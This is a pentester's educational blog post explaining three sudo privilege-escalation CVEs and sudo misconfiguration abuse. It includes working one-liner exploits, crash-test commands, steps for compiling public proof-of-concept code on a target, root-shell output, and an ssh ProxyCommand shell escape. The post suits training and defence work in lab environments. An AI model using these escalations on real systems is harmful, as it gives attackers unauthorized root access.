security

Some sudo elevation of privilege vulnerabilities

Table of contents
  1. 1. Software vulnerabilities
    1. 1.1. Summary
    2. 1.2. CVE-2019-14287
    3. 1.3. CVE-2019-18634
    4. 1.4. CVE-2021-3156
  2. 2. Misconfiguration vulnerabilities
  3. 3. About the author

Software vulnerabilities#

An introduction to 3 sudo vulnerabilities: CVE-2019-14287, CVE-2019-18634, CVE-2021-3156.

Summary#

Here are the few vulnerabilities we will cover:

Vulnerability Version Prerequisite Type
CVE-2019-14287 < 1.8.28 Requires permission to execute a command as another user integer overflow, security bypass
CVE-2019-18634 < 1.8.26 Requires pwfeedback option enabled stack-based BoF
CVE-2021-3156 (Baron Samedit) < 1.9.5p2 None heap-based BoF

CVE-2019-14287#

CVE-2019-14287 exploits an integer overflow in the user ID variable.

an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u #$((0xffffffff))" command.

For example, if we have the following configuration in /etc/sudoers, user secit should be able to run any command as any user except root.

1
secit ALL=(ALL:!root) NOPASSWD: ALL

The user should see this:

1
2
3
4
5
6
7
8
9
10
11
$ sudo -ll
Matching Defaults entries for secit on sudo-test:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User secit may run the following commands on sudo-test:

Sudoers entry:
    RunAsUsers: ALL, !root
    Options: !authenticate
    Commands:
        /bin/bash

root has the id zero.

In pseudo-code, it can be translated to:

1
2
unless userid == 0
  executeas(cmd, userid)

The well known syntax to run a command as another user is (with an example):

1
2
$ sudo -u <user> <cmd>
$ sudo -u john touch /home/john/.zshrc

But it's also possible to provide the user id instead of the username:

1
2
3
$ sudo -u#<id> <cmd>
$ sudo -u \#<id> <cmd>
$ sudo -u \#1001 touch /home/john/.zshrc

But the user id -1 (signed int) would cause an integer overflow and be translated as 4294967295 (0xffffffff) so the pseudo-chek userid == 0 would be bypassed as we could have 4294967295 != 0.

Exploiting the vulnerability is as easy as one of the following example:

1
2
3
$ sudo -u \#-1 /bin/bash
$ sudo -u \#$((0xffffffff)) /bin/bash
$ sudo -u \#4294967295 /bin/bash

TryHackMe is hosting a vulnerable environment so it's possible to try this vulnerability in a sandbox.

CVE-2019-18634#

CVE-2019-18634 exploits a stack-based buffer overflow in the function getln() from the file tgetpass.c. But this vulnerability works only if the pwfeedback option is enabled in /etc/sudoers which is not the default for upstream and most packages from mainly used linux distros. However, in 2019, Linux Mint and elementary OS were using pwfeedback by default. pwfeedback is a display feature to show an asterisk when an user writes a character of its password. So even at the time the vulnerability was found, it was not likely that a system would be vulnerable to it.

Here are some commands to check if sudo is vulnerable (you should get a segmentation fault):

1
2
3
$ ruby -e 'puts ("A"*100 + "\x00")*50' | sudo -S id
$ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id
$ python -c 'print(("A"*100 + "\x00")*50)' | sudo -S id

To exploit the vulnerability we can use a Proof of Concept (PoC) from Saleem Rashid hosted on the following git repository: saleemrashid/sudo-cve-2019-18634.

Details of the steps of exploit can be found in the comment of exploit.c.

An easy scenario could be:

  1. Download the source of the exploit on the target with wget
  2. Compile the exploit directly on the target with gcc -o exploit exploit.c
  3. Execute the exploit: ./exploit

The output should be as follows:

1
2
3
4
5
$ ./exploit
[sudo] password for secit:
Sorry, try again.
# id
uid=0(root) gid=0(root) groups=0(root),1000(secit)

TryHackMe is hosting a vulnerable environment so it's possible to try this vulnerability in a sandbox.

CVE-2021-3156#

CVE-2021-3156 (a.k.a. Baron Samedit) exploits a heap-based buffer overflow. This one is way more powerful than the two previous vulnerabilities we saw earlier because it works with the default configuration and with all versions of sudo.

Here are some commands to check if sudo is vulnerable (you should get an error malloc(): memory corruption):

1
2
3
$ sudoedit -s '\' $(ruby -e 'puts "A"*1000')
$ sudoedit -s '\' $(perl -e 'print("A" x 1000)')
$ sudoedit -s '\' $(python -c 'print("A"*1000)')

To exploit the vulnerability we can use a Proof of Concept (PoC) from blasty hosted on the following git repository: blasty/CVE-2021-3156.

An easy scenario could be:

  1. Download the source of the exploit (lib.c, hax.c, makefile) on the target with wget
  2. Compile the exploit directly on the target with make
  3. Execute the exploit: ./sudo-hax-me-a-sandwich

The output should be as follows:

1
2
3
4
5
6
7
8
9
$ ./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: 'Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27'
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1000(secit)

TryHackMe is hosting a vulnerable environment so it's possible to try this vulnerability in a sandbox.

Misconfiguration vulnerabilities#

Even if sudo is fully up to date and patched, a misconfiguration can open a door for the attacker.

The following config gives user secit the permission to execute ssh as anybody including root.

1
secit ALL=(ALL) /usr/bin/ssh

A lot of legitimate linux binaries can abused to bypass local security, break out restricted shells, escalate elevated privileges or facilitate other post-exploitation tasks.

So if root permission is given via sudo to use one of this binaries, it's very likely that an attacker could get root permission easily.

A list of those binaries can be found on GTFObins website or browsed offline using a CLI tool like GTFOBLookup.

An example of ssh abuse:

1
2
3
4
5
6
7
8
$ gtfoblookup linux sudo ssh
ssh:

    sudo:

        Description: Spawn interactive root shell through ProxyCommand
                     option.
        Code: sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

There is also a Metasploit module called post/multi/recon/sudo_commands doing the following:

This module examines the sudoers configuration for the session user and lists the commands executable via sudo. This module also inspects each command and reports potential avenues for privileged code execution due to poor file system permissions or permitting execution of executables known to be useful for privesc, such as utilities designed for file read/write, user modification, or execution of arbitrary operating system commands. Note, you may need to provide the password for the session user

There are great virtual environments to train exploiting those binaries and misconfigured sudo:

About the author#

This piece was written by Alexandre ZANNI aka noraj. Alexandre is a pentester and a BlackArch maintainer.

Website: pwn.by/noraj